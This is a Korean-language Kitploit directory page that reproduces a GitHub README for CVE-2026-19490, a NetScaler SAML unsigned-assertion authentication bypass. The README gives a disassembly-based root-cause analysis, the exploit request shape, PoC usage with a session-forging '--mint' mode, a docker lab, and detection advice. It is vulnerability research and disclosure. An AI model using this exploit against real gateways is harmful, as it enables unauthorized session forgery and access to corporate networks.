Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/tarpeg007/cve-2026-19490
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingBinary AnalysisAuthenticationRed Teaming
GitHubtarpeg007/cve-2026-19490

CVE-2026-19490

NetScaler ADC/Gateway SAML 서명되지 않은 어서션 우회 (HTTP-Redirect 바인딩 경유, CTX696939) - 근본 원인 분석 + PoC

저장소 보기
19시간 3분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-19490 — NetScaler ADC/Gateway SAML 인증 우회

Citrix NetScaler ADC / NetScaler Gateway에서 GET /cgi/samlauth의 SAML HTTP-Redirect 바인딩 핸들러를 통한 인증되지 않은 세션 위조. CVSS 4.0 9.3, CWE-288. Bulletin CTX696939 (2026-08-19), 해결 방법 없음. 최초 보고에 대한 크레딧은 Samarth Vashisht(JPMorgan Chase 침투 테스트 팀)에게 있으며, 근본 원인 분석과 이 저장소의 코드는 저의 작업입니다.

영향: 14.1은 14.1-73.32 이전, 13.1은 13.1-63.21 이전. 해당 두 빌드에서 수정됨.

근본 원인

패킷 엔진 nsppe에서 두 가지 문제가 함께 발생합니다.

1. 리다이렉트 바인딩이 strict 플래그를 해제한 상태로 어서션을 파싱합니다.

SAML 응답 파서(sub_b40a50)의 모든 호출 지점은 호출 전에 "strict" 인자를 설정합니다. POST 바인딩 경로(브라우저가 SAML 응답에 실제로 사용하는 방식)는 이를 설정된 상태로 전달합니다. HTTP-Redirect 바인딩 경로는 그렇지 않습니다:

root@kitploit:~
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
  b7f532: 41 b8 00 00 00 00     mov    r8d,0x0          <-- strict OFF
  b7f538: 48 8d 8d d8 fe ff ff  lea    rcx,[rbp-0x128]
  b7f53f: 48 8b 95 b8 fe ff ff  mov    rdx,[rbp-0x148]
  b7f546: 8b b5 cc fe ff ff     mov    esi,[rbp-0x134]
  b7f54c: 48 8b 3d f5 9f 6f 02  mov    rdi,[rip+0x26f9ff5]
  b7f553: e8 f8 14 fc ff        call   b40a50            <-- the parser

이것이 CWE-288 의미에서의 대체 경로입니다. 동일한 요청 표면, 더 약한 파서 호출, SAMLResponse 쿼리 매개변수가 있는 GET을 보낼 수 있는 모든 사람이 접근 가능합니다.

2. 서명되지 않은 어서션 게이트가 기본 구성을 ALLOW로 처리합니다.

리다이렉트 핸들러 내부에서 요청에 SigAlg/Signature가 없을 때 rejectUnsignedAssertion에 대한 구성 워드가 다음과 같이 비교되고 분기됩니다:

root@kitploit:~
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
  b7ee3b: 83 78 08 02           cmp    DWORD PTR [rax+0x8],0x2
  b7ee3f: 74 5d                 je     b7ee9e            <-- jumps to the ACCEPT path

워드 값: 2 = rejectUnsignedAssertion ON(기본값), 3 = STRICT. je는 2를 허용으로 보냅니다. 거부 로그 라인에 도달하는 것은 STRICT뿐입니다:

root@kitploit:~
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
  2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s

따라서 기본 구성 박스에서 리다이렉트 바인딩에 전달된 서명되지 않은 어서션은 (strict 해제 상태로) 파싱되고, 서명되지 않은 게이트를 (ON이 허용으로 오독되어) 통과한 다음, 일반적인 사후 파싱 단계를 실행합니다: SAML 작업 구성에 대한 발급자/대상/주체 검사, 그 다음 공격자가 제공한 필드에서 세션 구성. 해당 경로 어디에도 다이제스트나 RSA 검증이 없습니다. POST 바인딩은 같은 방식으로 영향을 받지 않습니다 — 파서에 strict를 전달하고 서명되지 않은 입력을 제대로 거부합니다.

Bulletin에 따른 전제 조건, 바이너리로 확인됨: 14.1-43.56 / 13.1-61.28 이후 빌드는 Gateway 또는 AAA vserver에 바인딩된 SAML 작업이 필요합니다(일반적인 SAML SSO 설정이므로 대부분의 SAML 배포가 해당됨). 이전 빌드는 vserver만으로 경로를 등록합니다.

익스플로잇 형태

GET 하나. <ds:Signature>가 전혀 없는 SAML Response를 만들고 DEFLATE + base64로 인코딩한 후 전송:

root@kitploit:~
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>

대상의 SAML 작업 구성과 일치해야 하는 값: 어서션 Issuer = IdP 엔터티 ID, Audience = SP 엔터티 ID, Recipient/Destination = ACS URL, 트랜잭션 설정에서는 활성 AuthnRequest의 InResponseTo. --mint는 게이트웨이 자체의 사전 인증 로그인 리다이렉트를 탐색하여 이를 캡처합니다(Location 헤더의 SAMLRequest에 모두 포함됨). /vpn/으로의 302와 실제 NSC_AAAC / NSC_TASS 쿠키(xyz 삭제 마커가 아닌)는 넣은 NameID로 위조된 세션입니다.

사용법

root@kitploit:~
pip install requests

# 엔드포인트가 존재하고 GET 바인딩이 SAMLResponse를 전혀 처리하는지 확인
python3 poc.py https://vpn.target.com --check-only

# 비침습적 구성 프로브: 의도적으로 잘못된 ISSUER가 있는 서명되지 않은 어서션.
#   'Malformed Assertion' (0xe0005)  -> STRICT, 이 벡터에 취약하지 않음
#   issuer/policy 오류 (0xe0012)     -> 기본 구성, 취약함; 세션 생성 안 됨
python3 poc.py https://vpn.target.com --safe-oracle

# 전체 체인(승인된 대상만): SP 체인 생성, 위조, 한 번 검증
python3 poc.py https://vpn.target.com --mint --name-id [email protected]

--safe-oracle는 두 구성이 세션 형태의 어떤 일이 발생하기 전에 서로 다른 오류 페이지를 반환하기 때문에 존재하며, 이는 방어자가 실제 IdP를 건드리지 않고 자체 점검할 수 있는 방법이기도 합니다. 자신의 장비에 대해 실행하세요.

데모

demo/demo.gif(demo.mp4 및 asciinema play로 재생하려면 demo/demo.cast도 있음): docker 이미지에서 나온 영향 빌드, word-2 기본 구성, 배포된 nsppe에서 디스어셈블된 두 바이너리 분기, PoC 엔드포인트 확인. 마지막 단계인 세션 발급은 라이선스가 있는 VPX가 필요합니다 — CPX Express는 라이선스 계층에서 AAA 세션을 거부합니다 — 이는 VPX가 있을 때 lab/record-demo.sh가 캡처하는 내용입니다.

실습 환경

lab/setup-cpx.sh는 docker에서 정확히 영향 받은 빌드를 실행합니다:

root@kitploit:~
docker run -dt --privileged --name cpx19490 -e EULA=YES \
    quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh

그리고 rejectUnsignedAssertion ON이 있는 SAML 작업, 정책, Gateway vserver를 구성합니다. 어렵게 배운 두 가지 주의사항:

  • CPX Express에는 SSLVPN/AAA 사용자 라이선스가 없습니다. vserver는 /cgi/samlauth를 제공하지만 모든 요청은 480 Login exceeds maximum allowed users에 도달합니다. 구성 + 엔드포인트 + 바이너리 상태를 재현하기에는 충분하지만 최종 세션 쿠키는 아닙니다.
  • 전체 세션 발급 실행에는 무료 Developer Edition 라이선스가 있는 VPX가 필요합니다(My Citrix → 다운로드 → NetScaler VPX, 그 다음 라이선스 절차는 CTX587663). 설정 스크립트와 동일한 CLI를 사용한 후 lab/record-demo.sh가 전체 asciinema 시퀀스를 기록합니다: 버전, 구성, safe-oracle, 위조 세션, STRICT 음성 대조.

위의 배포 바이너리 오프셋은 해당 이미지에서 직접 가져온 것입니다:

root@kitploit:~
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30

탐지 / 완화

  • 14.1-73.32+ / 13.1-63.21+로 업그레이드하세요. 지원되는 해결 방법이 없습니다.
  • set samlAction <name> -samlRejectUnsignedAssertion STRICT는 취약한 경로에서 리다이렉트 벡터를 차단합니다(word==3으로 만듦). STRICT는 또한 박스가 IdP에서 기대하는 것(Response + Assertion 서명 요구 사항)을 변경한다는 점에 유의하세요. 이것이 아마도 Citrix가 ON을 기본값으로 제공하고 "그냥 STRICT로 설정"이 모든 사람에게 깔끔한 해결 방법이 아닌 이유일 것입니다.
  • 탐지: GET에서 SAMLResponse를 전달하는 /cgi/samlauth 요청(리다이렉트 바인딩 응답은 실제 환경에서 드묾 — 브라우저는 POST함), 서명되지 않은 페이로드, 위의 오류 페이지 차이.

법적 고지

승인된 보안 테스트 전용: 자신의 실습 환경 또는 승인된 프로그램의 범위에 명시적으로 포함된 대상. 저자는 Citrix 또는 원래 보고 팀과 관련이 없습니다.

타임라인

  • 2026-08-19 — Citrix bulletin CTX696939, 수정 사항 배포
  • 2026-09 — 이 근본 원인 분석 및 PoC

MIT 라이선스, LICENSE 참조.

도구 다운로드